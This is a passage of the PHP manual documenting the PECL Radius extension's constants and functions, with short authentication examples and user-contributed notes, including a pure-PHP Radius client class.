This PECL extension adds full support for Radius Authentication (» RFC 2865) and Radius Accounting (» RFC 2866). This package is available for Unix (tested on FreeBSD and Linux) and for Windows.

Note:

An exact description for libradius can be found » here. A detailed description of the configuration file can be found » here.

User Contributed Notes

There are no user contributed notes for this page.
Radius
Installing/Configuring
Radius


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Radius


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/radius.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

RADIUS_ACCESS_REQUEST ()
Authentication Request
RADIUS_ACCESS_ACCEPT ()
Access accepted
RADIUS_ACCESS_REJECT ()
Access rejected
RADIUS_ACCOUNTING_REQUEST ()
Accounting request
RADIUS_ACCOUNTING_RESPONSE ()
Accounting response
RADIUS_ACCESS_CHALLENGE ()
Accsess challenge
RADIUS_USER_NAME (string)
Username
RADIUS_USER_PASSWORD (string)
Password
RADIUS_CHAP_PASSWORD (string)
Chap Password: chappass = md5(ident + plaintextpass + challenge)
RADIUS_NAS_IP_ADDRESS (string)
NAS IP-Adress
RADIUS_NAS_PORT (int)
NAS Port
RADIUS_SERVICE_TYPE (int)

Type of Service, one of:

  • RADIUS_LOGIN
  • RADIUS_FRAMED
  • RADIUS_CALLBACK_LOGIN
  • RADIUS_CALLBACK_FRAMED
  • RADIUS_OUTBOUND
  • RADIUS_ADMINISTRATIVE
  • RADIUS_NAS_PROMPT
  • RADIUS_AUTHENTICATE_ONLY
  • RADIUS_CALLBACK_NAS_PROMPT

RADIUS_FRAMED_PROTOCOL (int)

Framed Protocol, one of:

  • RADIUS_PPP
  • RADIUS_SLIP
  • RADIUS_ARAP
  • RADIUS_GANDALF
  • RADIUS_XYLOGICS

RADIUS_FRAMED_IP_ADDRESS (int)
IPv4 Internet network address
RADIUS_FRAMED_IP_NETMASK (string)
Netmask
RADIUS_FRAMED_ROUTING (int)
Routing
RADIUS_FILTER_ID (string)
Filter ID
RADIUS_FRAMED_MTU (int)
MTU
RADIUS_FRAMED_COMPRESSION (int)

Compression, one of:

  • RADIUS_COMP_NONE
  • RADIUS_COMP_VJ
  • RADIUS_COMP_IPXHDR

RADIUS_LOGIN_IP_HOST (string)
Login IP Host
RADIUS_LOGIN_SERVICE (int)
Login Service
RADIUS_LOGIN_TCP_PORT (int)
Login TCP Port
RADIUS_REPLY_MESSAGE (string)
Reply Message
RADIUS_CALLBACK_NUMBER (string)
Callback Number
RADIUS_CALLBACK_ID (string)
Callback ID
RADIUS_FRAMED_ROUTE (string)
Framed Route
RADIUS_FRAMED_IPX_NETWORK (string)
Framed IPX Network
RADIUS_STATE (string)
State
RADIUS_CLASS (int)
Class
RADIUS_VENDOR_SPECIFIC (int)
Vendor specific attribute
RADIUS_SESSION_TIMEOUT (int)
Session timeout
RADIUS_IDLE_TIMEOUT (int)
Idle timeout
RADIUS_TERMINATION_ACTION (int)
Termination action
RADIUS_CALLED_STATION_ID (int)
Called Station Id
RADIUS_CALLING_STATION_ID (string)
Calling Station Id
RADIUS_NAS_IDENTIFIER (int)
NAS ID
RADIUS_PROXY_STATE (int)
Proxy State
RADIUS_LOGIN_LAT_SERVICE (int)
Login LAT Service
RADIUS_LOGIN_LAT_NODE (int)
Login LAT Node
RADIUS_LOGIN_LAT_GROUP (int)
Login LAT Group
RADIUS_FRAMED_APPLETALK_LINK (int)
Framed Appletalk Link
RADIUS_FRAMED_APPLETALK_NETWORK (int)
Framed Appletalk Network
RADIUS_FRAMED_APPLETALK_ZONE (int)
Framed Appletalk Zone
RADIUS_CHAP_CHALLENGE (string)
Challenge
RADIUS_NAS_PORT_TYPE (int)

NAS port type, one of:

  • RADIUS_ASYNC
  • RADIUS_SYNC
  • RADIUS_ISDN_SYNC
  • RADIUS_ISDN_ASYNC_V120
  • RADIUS_ISDN_ASYNC_V110
  • RADIUS_VIRTUAL
  • RADIUS_PIAFS
  • RADIUS_HDLC_CLEAR_CHANNEL
  • RADIUS_X_25
  • RADIUS_X_75
  • RADIUS_G_3_FAX
  • RADIUS_SDSL
  • RADIUS_ADSL_CAP
  • RADIUS_ADSL_DMT
  • RADIUS_IDSL
  • RADIUS_ETHERNET
  • RADIUS_XDSL
  • RADIUS_CABLE
  • RADIUS_WIRELESS_OTHER
  • RADIUS_WIRELESS_IEEE_802_11

RADIUS_PORT_LIMIT (int)
Port Limit
RADIUS_LOGIN_LAT_PORT (int)
Login LAT Port
RADIUS_CONNECT_INFO (string)
Connect info
RADIUS_ACCT_STATUS_TYPE (int)

Accounting status type, one of:

  • RADIUS_START
  • RADIUS_STOP
  • RADIUS_ACCOUNTING_ON
  • RADIUS_ACCOUNTING_OFF

RADIUS_ACCT_DELAY_TIME (int)
Accounting delay time
RADIUS_ACCT_INPUT_OCTETS (int)
Accounting input bytes
RADIUS_ACCT_OUTPUT_OCTETS (int)
Accounting output bytes
RADIUS_ACCT_SESSION_ID (int)
Accounting session ID
RADIUS_ACCT_AUTHENTIC (int)

Accounting authentic, one of:

  • RADIUS_AUTH_RADIUS
  • RADIUS_AUTH_LOCAL
  • RADIUS_AUTH_REMOTE

RADIUS_ACCT_SESSION_TIME (int)
Accounting session time
RADIUS_ACCT_INPUT_PACKETS (int)
Accounting input packets
RADIUS_ACCT_OUTPUT_PACKETS (int)
Accounting output packets
RADIUS_ACCT_TERMINATE_CAUSE (int)

Accounting terminate cause, one of:

  • RADIUS_TERM_USER_REQUEST
  • RADIUS_TERM_LOST_CARRIER
  • RADIUS_TERM_LOST_SERVICE
  • RADIUS_TERM_IDLE_TIMEOUT
  • RADIUS_TERM_SESSION_TIMEOUT
  • RADIUS_TERM_ADMIN_RESET
  • RADIUS_TERM_ADMIN_REBOOT
  • RADIUS_TERM_PORT_ERROR
  • RADIUS_TERM_NAS_ERROR
  • RADIUS_TERM_NAS_REQUEST
  • RADIUS_TERM_NAS_REBOOT
  • RADIUS_TERM_PORT_UNNEEDED
  • RADIUS_TERM_PORT_PREEMPTED
  • RADIUS_TERM_PORT_SUSPENDED
  • RADIUS_TERM_SERVICE_UNAVAILABLE
  • RADIUS_TERM_CALLBACK
  • RADIUS_TERM_USER_ERROR
  • RADIUS_TERM_HOST_REQUEST

RADIUS_ACCT_MULTI_SESSION_ID (string)
Accounting multi session ID
RADIUS_ACCT_LINK_COUNT (int)
Accounting link count
RADIUS_VENDOR_MICROSOFT (int)

Microsoft specific vendor attributes (» RFC 2548), one of:

  • RADIUS_MICROSOFT_MS_CHAP_RESPONSE
  • RADIUS_MICROSOFT_MS_CHAP_ERROR
  • RADIUS_MICROSOFT_MS_CHAP_PW_1
  • RADIUS_MICROSOFT_MS_CHAP_PW_2
  • RADIUS_MICROSOFT_MS_CHAP_LM_ENC_PW
  • RADIUS_MICROSOFT_MS_CHAP_NT_ENC_PW
  • RADIUS_MICROSOFT_MS_MPPE_ENCRYPTION_POLICY
  • RADIUS_MICROSOFT_MS_MPPE_ENCRYPTION_TYPES
  • RADIUS_MICROSOFT_MS_RAS_VENDOR
  • RADIUS_MICROSOFT_MS_CHAP_DOMAIN
  • RADIUS_MICROSOFT_MS_CHAP_CHALLENGE
  • RADIUS_MICROSOFT_MS_CHAP_MPPE_KEYS
  • RADIUS_MICROSOFT_MS_BAP_USAGE
  • RADIUS_MICROSOFT_MS_LINK_UTILIZATION_THRESHOLD
  • RADIUS_MICROSOFT_MS_LINK_DROP_TIME_LIMIT
  • RADIUS_MICROSOFT_MS_MPPE_SEND_KEY
  • RADIUS_MICROSOFT_MS_MPPE_RECV_KEY
  • RADIUS_MICROSOFT_MS_RAS_VERSION
  • RADIUS_MICROSOFT_MS_OLD_ARAP_PASSWORD
  • RADIUS_MICROSOFT_MS_NEW_ARAP_PASSWORD
  • RADIUS_MICROSOFT_MS_ARAP_PASSWORD_CHANGE_REASON
  • RADIUS_MICROSOFT_MS_FILTER
  • RADIUS_MICROSOFT_MS_ACCT_AUTH_TYPE
  • RADIUS_MICROSOFT_MS_ACCT_EAP_TYPE
  • RADIUS_MICROSOFT_MS_CHAP2_RESPONSE
  • RADIUS_MICROSOFT_MS_CHAP2_SUCCESS
  • RADIUS_MICROSOFT_MS_CHAP2_PW
  • RADIUS_MICROSOFT_MS_PRIMARY_DNS_SERVER
  • RADIUS_MICROSOFT_MS_SECONDARY_DNS_SERVER
  • RADIUS_MICROSOFT_MS_PRIMARY_NBNS_SERVER
  • RADIUS_MICROSOFT_MS_SECONDARY_NBNS_SERVER
  • RADIUS_MICROSOFT_MS_ARAP_CHALLENGE

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Radius


Examples

Howto start?

  • get a radius resource
  • configure the library
  • create the request
  • put attributes
  • send the request
  • receive attributes
  • close the radius resource (optional)
Take also a look at the examples in this package.

The package contains an example php script. This script demonstrates howto authenticate with radius using PAP or CHAP (md5). If you authenticate with Microsoft Radius servers then its not possible to use CHAP (md5). If you would like to authenticate with Microsoft Servers you have to use MS-CHAPv1 or MS-CHAPv2, but its more complicated, because you need md4, sha1 and des to generate the right data. The enclosed examples demonstrate all authentication-methods, including MS-CHAPv1 and MS-CHAPv2. To get the MS-CHAP to work you need the mcrypt and the mhash extension, starting with version 1.2 of the package, the mcrypt extension is no longer needed.

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Radius Functions
Radius


Radius Functions

Contact Information

If you have comments, bugfixes, enhancements or want to help to develop this you can send me a mail at » mbretter@php.net.

Table of Contents

  • radius_acct_open — Creates a Radius handle for accounting
  • radius_add_server — Adds a server
  • radius_auth_open — Creates a Radius handle for authentication
  • radius_close — Frees all ressources
  • radius_config — Causes the library to read the given configuration file
  • radius_create_request — Create accounting or authentication request
  • radius_cvt_addr — Converts raw data to IP-Address
  • radius_cvt_int — Converts raw data to integer
  • radius_cvt_string — Converts raw data to string
  • radius_demangle_mppe_key — Derives mppe-keys from mangled data
  • radius_demangle — Demangles data
  • radius_get_attr — Extracts an attribute
  • radius_get_vendor_attr — Extracts a vendor specific attribute
  • radius_put_addr — Attaches an IP-Address attribute
  • radius_put_attr — Attaches a binary attribute
  • radius_put_int — Attaches an integer attribute
  • radius_put_string — Attaches a string attribute
  • radius_put_vendor_addr — Attaches a vendor specific IP-Address attribute
  • radius_put_vendor_attr — Attaches a vendor specific binary attribute
  • radius_put_vendor_int — Attaches a vendor specific integer attribute
  • radius_put_vendor_string — Attaches a vendor specific string attribute
  • radius_request_authenticator — Returns the request authenticator
  • radius_send_request — Sends the request and waites for a reply
  • radius_server_secret — Returns the shared secret
  • radius_strerror — Returns an error message

User Contributed Notes

SysCo/al - developer [at] sysco[dot] ch 06-Jan-2008 05:39
Pure PHP radius class (do not need the radius package !)

We have implemented a pure PHP radius class following the RFC 2865 rules. Using this class, it is also possible to do WWW realm authentication.

Class abstract, full class implementation (LGPL) with helper files and examples can be found at http://developer.sysco.ch/php/

<?php

// (...)

class Radius
{
    // (...)

    public function Radius($ip_radius_server = '127.0.0.1', $shared_secret = '', $radius_suffix = '', $udp_timeout = 5, $authentication_port = 1812, $accounting_port = 1813)
    {
        // (...)
    }

    // (...)

    function AccessRequest($username = '', $password = '', $udp_timeout = 0)
    {

        // (...)

        $_socket_to_server = socket_create(AF_INET, SOCK_DGRAM, 17); // UDP packet = 17

        if ($_socket_to_server === FALSE)
        {
            // (...)
        }
        elseif (FALSE === socket_connect($_socket_to_server, $this->_ip_radius_server, $this->_authentication_port))
        {
            // (...)
        }
        elseif (FALSE === socket_write($_socket_to_server, $packet_data, $packet_length))
        {
            // (...)
        }
        else
        {
            // (...)
            $read_socket_array   = array($_socket_to_server);
            $write_socket_array  = NULL;
            $except_socket_array = NULL;

            $received_packet = chr(0);

            if (!(FALSE === socket_select($read_socket_array, $write_socket_array, $except_socket_array, $this->_udp_timeout)))
            {
                if (in_array($_socket_to_server, $read_socket_array))
                {
                    if (FALSE === ($received_packet = @socket_read($_socket_to_server, 1024))) // @ used, than no error is displayed if the connection is closed by the remote host
                    {
                        // (...)
                    }
                    else
                    {
                        socket_close($_socket_to_server);
                    }
                }
            }
            else
            {
                socket_close($_socket_to_server);
            }
        }

        // (...)

        return (2 == ($this->_radius_packet_received));
    }
}

?>

Example
<?php
    require_once('radius.class.php');
    $radius = new Radius('127.0.0.1', 'secret');
    if ($radius->AccessRequest('user', 'pass'))
    {
        echo "Authentication accepted.";
    }
    else
    {
        echo "Authentication rejected.";
    }
?>
andac dot aydin at code64 dot de 07-Jul-2006 08:32
If you are constantly getting the errormessage:

Fatal error: Unknown function: radius_auth_open() in...

And your Server is a Windows-System (for example standard-xampp installation), you propably did not remove the comment symbol ";" in front of "extension=php_radius.dll" in php.ini.

If you did that, but get the error anyway:

Additionally be sure you edited the right php.ini, since xampp installs several php.exe's but only "xampp/apache/bin/php.ini"  is the correct one!

It did cost me 2 days to find that out!
shaun at verticalevolution dot com 27-Apr-2006 08:03
To expand on the simple example by jengo at phpgroupware dot org you can add a NAS IP address to the request by using:

radius_put_addr($radius, RADIUS_NAS_IP_ADDRESS, '127.0.0.1');

and not radius_put_attr or radius_put_string. I also had to use radius_put_string for the user name and password.
brett at silcon dot com 13-Jan-2006 10:20
Here's a longer example that DOES do Challenge Response and works with SecurID Authentication Managers.

http://www.webtrotter.com/securid_radius.txt

(script wouldn't let me post it because of the long lines, plus it was too long of an example).
jengo at phpgroupware dot org 23-Oct-2005 08:26
Here is a simple example on how to auth against radius.  Note:  This doesn't handle challenge responses.

<?php
    $radius = radius_auth_open();
    if (! radius_add_server($radius,'localhost',0,'radiussecret',5,3))
    {
        die('Radius Error: ' . radius_strerror($radius));
    }

    if (! radius_create_request($radius,RADIUS_ACCESS_REQUEST))
    {
        die('Radius Error: ' . radius_strerror($radius));
    }

    radius_put_attr($radius,RADIUS_USER_NAME,'username');
    radius_put_attr($radius,RADIUS_USER_PASSWORD,'password');

    switch (radius_send_request($radius))
    {
        case RADIUS_ACCESS_ACCEPT:
            echo 'GOOD LOGIN';
            break;
        case RADIUS_ACCESS_REJECT:
            echo 'BAD LOGIN';
            break;
        case RADIUS_ACCESS_CHALLENGE:
            echo 'CHALLENGE REQUESTED';
            break;
        default:
            die('Radius Error: ' . radius_strerror($radius));
    }
?>
Examples
radius_acct_open
Radius


Creates a Radius handle for accounting

Radius Functions
radius_add_server
Radius Functions
PHP Manual

radius_acct_open

(PECL radius >= 1.1.0)

radius_acct_open — Creates a Radius handle for accounting

Description

resource radius_acct_open ( void )

Return Values

Returns a handle on success, FALSE on error. This function only fails if insufficient memory is available.

Examples

Example #1 radius_acct_open() example

<?php
$res = radius_acct_open ()
    or die ("Could not create handle");
print("Handle successfully created");
?>

User Contributed Notes

There are no user contributed notes for this page.
Radius Functions
radius_add_server
Radius Functions


Adds a server

radius_acct_open
radius_auth_open
Radius Functions
PHP Manual

radius_add_server

(PECL radius >= 1.1.0)

radius_add_server — Adds a server

Description

bool radius_add_server ( resource $radius_handle , string $hostname , int $port , string $secret , int $timeout , int $max_tries )

radius_add_server() may be called multiple times, and it may be used together with radius_config(). At most 10 servers may be specified. When multiple servers are given, they are tried in round-robin fashion until a valid response is received, or until each server's max_tries limit has been reached.

Parameters

radius_handle

hostname

The hostname parameter specifies the server host, either as a fully qualified domain name or as a dotted-quad IP address in text form.

port

The port specifies the UDP port to contact on the server. If port is given as 0, the library looks up the radius/udp or radacct/udp service in the network services database, and uses the port found there. If no entry is found, the library uses the standard Radius ports, 1812 for authentication and 1813 for accounting.

secret

The shared secret for the server host is passed to the secret parameter. The Radius protocol ignores all but the leading 128 bytes of the shared secret.

timeout

The timeout for receiving replies from the server is passed to the timeout parameter, in units of seconds.

max_tries

The maximum number of repeated requests to make before giving up is passed into the max_tries.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 radius_add_server() example

<?php
if (!radius_add_server($res, 'radius.example.com', 1812, 'testing123', 3, 3)) {
    echo 'RadiusError:' . radius_strerror($res). "\n<br>";
    exit;
}
?>

See Also

  • radius_config() - Causes the library to read the given configuration file

User Contributed Notes

There are no user contributed notes for this page.
radius_acct_open
radius_auth_open
Radius Functions


Creates a Radius handle for authentication

radius_add_server
radius_close
Radius Functions
PHP Manual

radius_auth_open

(PECL radius >= 1.1.0)

radius_auth_open — Creates a Radius handle for authentication

Description

resource radius_auth_open ( void )

Return Values

Returns a handle on success, FALSE on error. This function only fails if insufficient memory is available.

Examples

Example #1 radius_auth_open() example

<?php
$radh = radius_auth_open()
    or die ("Could not create handle");
echo "Handle successfully created";
?>

User Contributed Notes

There are no user contributed notes for this page.
radius_add_server
radius_close
Radius Functions


Frees all ressources

radius_auth_open
radius_config
Radius Functions
PHP Manual

radius_close

(PECL radius >= 1.1.0)

radius_close — Frees all ressources

Description

bool radius_close ( resource $radius_handle )

It is not needed to call this function because php frees all resources at the end of each request.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
radius_auth_open
radius_config
Radius Functions


Causes the library to read the given configuration file

radius_close
radius_create_request
Radius Functions
PHP Manual

radius_config

(PECL radius >= 1.1.0)

radius_config — Causes the library to read the given configuration file

Description

bool radius_config ( resource $radius_handle , string $file )

Before issuing any Radius requests, the library must be made aware of the servers it can contact. The easiest way to configure the library is to call radius_config(). radius_config() causes the library to read a configuration file whose format is described in » radius.conf.

Parameters

radius_handle

file

The pathname of the configuration file is passed as the file argument to radius_config(). The library can also be configured programmatically by calls to radius_add_server().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • radius_add_server() - Adds a server

User Contributed Notes

There are no user contributed notes for this page.
radius_close
radius_create_request
Radius Functions


Create accounting or authentication request

radius_config
radius_cvt_addr
Radius Functions
PHP Manual

radius_create_request

(PECL radius >= 1.1.0)

radius_create_request — Create accounting or authentication request

Description

bool radius_create_request ( resource $radius_handle , int $type )

A Radius request consists of a code specifying the kind of request, and zero or more attributes which provide additional information. To begin constructing a new request, call radius_create_request().

Note: Attention: You must call this function, before you can put any attribute!

Parameters

radius_handle

type

Type is RADIUS_ACCESS_REQUEST or RADIUS_ACCOUNTING_REQUEST.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 radius_create_request() example

<?php
if (!radius_create_request($res, RADIUS_ACCESS_REQUEST)) {
    echo 'RadiusError:' . radius_strerror($res). "\n<br />";
    exit;
}
?>

See Also

  • radius_send_request() - Sends the request and waites for a reply

User Contributed Notes

There are no user contributed notes for this page.
radius_config
radius_cvt_addr
Radius Functions


Converts raw data to IP-Address

radius_create_request
radius_cvt_int
Radius Functions
PHP Manual

radius_cvt_addr

(PECL radius >= 1.1.0)

radius_cvt_addr — Converts raw data to IP-Address

Description

string radius_cvt_addr ( string $data )

Examples

Example #1 radius_cvt_addr() example

<?php
while ($resa = radius_get_attr($res)) {

    if (!is_array($resa)) {
        printf ("Error getting attribute: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];

    switch ($attr) {

    case RADIUS_FRAMED_IP_ADDRESS:
        $ip = radius_cvt_addr($data);
        echo "IP: $ip<br>\n";
        break;

    case RADIUS_FRAMED_IP_NETMASK:
        $mask = radius_cvt_addr($data);
        echo "MASK: $mask<br>\n";
        break;
    }
}
?>

See Also

  • radius_cvt_int() - Converts raw data to integer
  • radius_cvt_string() - Converts raw data to string

User Contributed Notes

There are no user contributed notes for this page.
radius_create_request
radius_cvt_int
Radius Functions


Converts raw data to integer

radius_cvt_addr
radius_cvt_string
Radius Functions
PHP Manual

radius_cvt_int

(PECL radius >= 1.1.0)

radius_cvt_int — Converts raw data to integer

Description

int radius_cvt_int ( string $data )

Examples

Example #1 radius_cvt_int() example

<?php
while ($resa = radius_get_attr($res)) {

    if (!is_array($resa)) {
        printf ("Error getting attribute: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];

    switch ($attr) {

    case RADIUS_FRAMED_MTU:
        $mtu = radius_cvt_int($data);
        echo "MTU: $mtu<br>\n";
        break;
    }
}
?>

See Also

  • radius_cvt_addr() - Converts raw data to IP-Address
  • radius_cvt_string() - Converts raw data to string

User Contributed Notes

There are no user contributed notes for this page.
radius_cvt_addr
radius_cvt_string
Radius Functions


Converts raw data to string

radius_cvt_int
radius_demangle_mppe_key
Radius Functions
PHP Manual

radius_cvt_string

(PECL radius >= 1.1.0)

radius_cvt_string — Converts raw data to string

Description

string radius_cvt_string ( string $data )

Examples

Example #1 radius_cvt_string() example

<?php
while ($resa = radius_get_attr($res)) {

    if (!is_array($resa)) {
        printf ("Error getting attribute: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];

    switch ($attr) {

    case RADIUS_FILTER_ID:
        $id = radius_cvt_string($data);
        echo "Filter ID: $id<br>\n";
        break;
    }
}
?>

See Also

  • radius_cvt_addr() - Converts raw data to IP-Address
  • radius_cvt_int() - Converts raw data to integer

User Contributed Notes

There are no user contributed notes for this page.
radius_cvt_int
radius_demangle_mppe_key
Radius Functions


Derives mppe-keys from mangled data

radius_cvt_string
radius_demangle
Radius Functions
PHP Manual

radius_demangle_mppe_key

(PECL radius >= 1.2.0)

radius_demangle_mppe_key — Derives mppe-keys from mangled data

Description

string radius_demangle_mppe_key ( resource $radius_handle , string $mangled )

When using MPPE with MS-CHAPv2, the send- and recv-keys are mangled (see » RFC 2548), however this function is useless, because I don't think that there is or will be a PPTP-MPPE implementation in PHP.

Return Values

Returns the demangled string, or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
radius_cvt_string
radius_demangle
Radius Functions


Demangles data

radius_demangle_mppe_key
radius_get_attr
Radius Functions
PHP Manual

radius_demangle

(PECL radius >= 1.2.0)

radius_demangle — Demangles data

Description

string radius_demangle ( resource $radius_handle , string $mangled )

Some data (Passwords, MS-CHAPv1 MPPE-Keys) is mangled for security reasons, and must be demangled before you can use them.

Return Values

Returns the demangled string, or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
radius_demangle_mppe_key
radius_get_attr
Radius Functions


Extracts an attribute

radius_demangle
radius_get_vendor_attr
Radius Functions
PHP Manual

radius_get_attr

(PECL radius >= 1.1.0)

radius_get_attr — Extracts an attribute

Description

mixed radius_get_attr ( resource $radius_handle )

Like Radius requests, each response may contain zero or more attributes. After a response has been received successfully by radius_send_request(), its attributes can be extracted one by one using radius_get_attr(). Each time radius_get_attr() is called, it gets the next attribute from the current response.

Return Values

Returns an associative array containing the attribute-type and the data, or error number <= 0.

Examples

Example #1 radius_get_attr() example

<?php
while ($resa = radius_get_attr($res)) {

    if (!is_array($resa)) {
        printf("Error getting attribute: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];
    printf("Got Attr:%d %d Bytes %s\n", $attr, strlen($data), bin2hex($data));
}
?>

See Also

  • radius_put_attr() - Attaches a binary attribute
  • radius_get_vendor_attr() - Extracts a vendor specific attribute
  • radius_put_vendor_attr() - Attaches a vendor specific binary attribute
  • radius_send_request() - Sends the request and waites for a reply

User Contributed Notes

There are no user contributed notes for this page.
radius_demangle
radius_get_vendor_attr
Radius Functions


Extracts a vendor specific attribute

radius_get_attr
radius_put_addr
Radius Functions
PHP Manual

radius_get_vendor_attr

(PECL radius >= 1.1.0)

radius_get_vendor_attr — Extracts a vendor specific attribute

Description

array radius_get_vendor_attr ( string $data )

If radius_get_attr() returns RADIUS_VENDOR_SPECIFIC, radius_get_vendor_attr() may be called to determine the vendor.

Return Values

Returns an associative array containing the attribute-type, vendor and the data, or FALSE on error.

Examples

Example #1 radius_get_vendor_attr() example

<?php
while ($resa = radius_get_attr($res)) {

    if (!is_array($resa)) {
        printf ("Error getting attribute: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];
    printf("Got Attr:%d %d Bytes %s\n", $attr, strlen($data), bin2hex($data));
    if ($attr == RADIUS_VENDOR_SPECIFIC) {

        $resv = radius_get_vendor_attr($data);
        if (is_array($resv)) {
            $vendor = $resv['vendor'];
            $attrv = $resv['attr'];
            $datav = $resv['data'];
            printf("Got Vendor Attr:%d %d Bytes %s\n", $attrv, strlen($datav), bin2hex($datav));
        }

    }
}
?>

See Also

  • radius_get_attr() - Extracts an attribute
  • radius_put_vendor_attr() - Attaches a vendor specific binary attribute

User Contributed Notes

There are no user contributed notes for this page.
radius_get_attr
radius_put_addr
Radius Functions


Attaches an IP-Address attribute

radius_get_vendor_attr
radius_put_attr
Radius Functions
PHP Manual

radius_put_addr

(PECL radius >= 1.1.0)

radius_put_addr — Attaches an IP-Address attribute

Description

bool radius_put_addr ( resource $radius_handle , int $type , string $addr )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
radius_get_vendor_attr
radius_put_attr
Radius Functions


Attaches a binary attribute

radius_put_addr
radius_put_int
Radius Functions
PHP Manual

radius_put_attr

(PECL radius >= 1.1.0)

radius_put_attr — Attaches a binary attribute

Description

bool radius_put_attr ( resource $radius_handle , int $type , string $value )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 radius_put_attr() example

<?php
mt_srand(time());
$chall = mt_rand();
$chapval = md5(pack('Ca*',1 , 'sepp' . $chall));
$pass = pack('CH*', 1, $chapval);
if (!radius_put_attr($res, RADIUS_CHAP_PASSWORD, $pass)) {
    echo 'RadiusError:' . radius_strerror($res). "\n<br />";
    exit;
}
?>

See Also

  • radius_get_attr() - Extracts an attribute
  • radius_get_vendor_attr() - Extracts a vendor specific attribute
  • radius_put_vendor_attr() - Attaches a vendor specific binary attribute

User Contributed Notes

There are no user contributed notes for this page.
radius_put_addr
radius_put_int
Radius Functions


Attaches an integer attribute

radius_put_attr
radius_put_string
Radius Functions
PHP Manual

radius_put_int

(PECL radius >= 1.1.0)

radius_put_int — Attaches an integer attribute

Description

bool radius_put_int ( resource $radius_handle , int $type , int $value )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 radius_put_int() example

<?php
if (!radius_put_int($res, RAD_FRAMED_PROTOCOL, RAD_PPP)) {
   echo 'RadiusError:' . radius_strerror($res). "\n<br />";
   exit;
}
?>

See Also

  • radius_put_string() - Attaches a string attribute
  • radius_put_vendor_int() - Attaches a vendor specific integer attribute
  • radius_put_vendor_string() - Attaches a vendor specific string attribute

User Contributed Notes

There are no user contributed notes for this page.
radius_put_attr
radius_put_string
Radius Functions


Attaches a string attribute

radius_put_int
radius_put_vendor_addr
Radius Functions
PHP Manual

radius_put_string

(PECL radius >= 1.1.0)

radius_put_string — Attaches a string attribute

Description

bool radius_put_string ( resource $radius_handle , int $type , string $value )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 radius_put_string() example

<?php
if (!radius_put_string($res, RADIUS_USER_NAME, 'billy')) {
    echo 'RadiusError:' . radius_strerror($res). "\n<br />";
    exit;
}
?>

See Also

  • radius_put_int() - Attaches an integer attribute
  • radius_put_vendor_int() - Attaches a vendor specific integer attribute
  • radius_put_vendor_string() - Attaches a vendor specific string attribute

User Contributed Notes

There are no user contributed notes for this page.
radius_put_int
radius_put_vendor_addr
Radius Functions


Attaches a vendor specific IP-Address attribute

radius_put_string
radius_put_vendor_attr
Radius Functions
PHP Manual

radius_put_vendor_addr

(PECL radius >= 1.1.0)

radius_put_vendor_addr — Attaches a vendor specific IP-Address attribute

Description

bool radius_put_vendor_addr ( resource $radius_handle , int $vendor , int $type , string $addr )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
radius_put_string
radius_put_vendor_attr
Radius Functions


Attaches a vendor specific binary attribute

radius_put_vendor_addr
radius_put_vendor_int
Radius Functions
PHP Manual

radius_put_vendor_attr

(PECL radius >= 1.1.0)

radius_put_vendor_attr — Attaches a vendor specific binary attribute

Description

bool radius_put_vendor_attr ( resource $radius_handle , int $vendor , int $type , string $value )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 radius_put_vendor_attr() example

<?php
if (!radius_put_vendor_attr($res, RADIUS_VENDOR_MICROSOFT, RAD_MICROSOFT_MS_CHAP_CHALLENGE, $challenge)) {
    echo 'RadiusError:' . radius_strerror($res). "\n<br />";
    exit;
}
?>

See Also

  • radius_get_vendor_attr() - Extracts a vendor specific attribute

User Contributed Notes

There are no user contributed notes for this page.
radius_put_vendor_addr
radius_put_vendor_int
Radius Functions


Attaches a vendor specific integer attribute

radius_put_vendor_attr
radius_put_vendor_string
Radius Functions
PHP Manual

radius_put_vendor_int

(PECL radius >= 1.1.0)

radius_put_vendor_int — Attaches a vendor specific integer attribute

Description

bool radius_put_vendor_int ( resource $radius_handle , int $vendor , int $type , int $value )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • radius_put_vendor_string() - Attaches a vendor specific string attribute

User Contributed Notes

There are no user contributed notes for this page.
radius_put_vendor_attr
radius_put_vendor_string
Radius Functions


Attaches a vendor specific string attribute

radius_put_vendor_int
radius_request_authenticator
Radius Functions
PHP Manual

radius_put_vendor_string

(PECL radius >= 1.1.0)

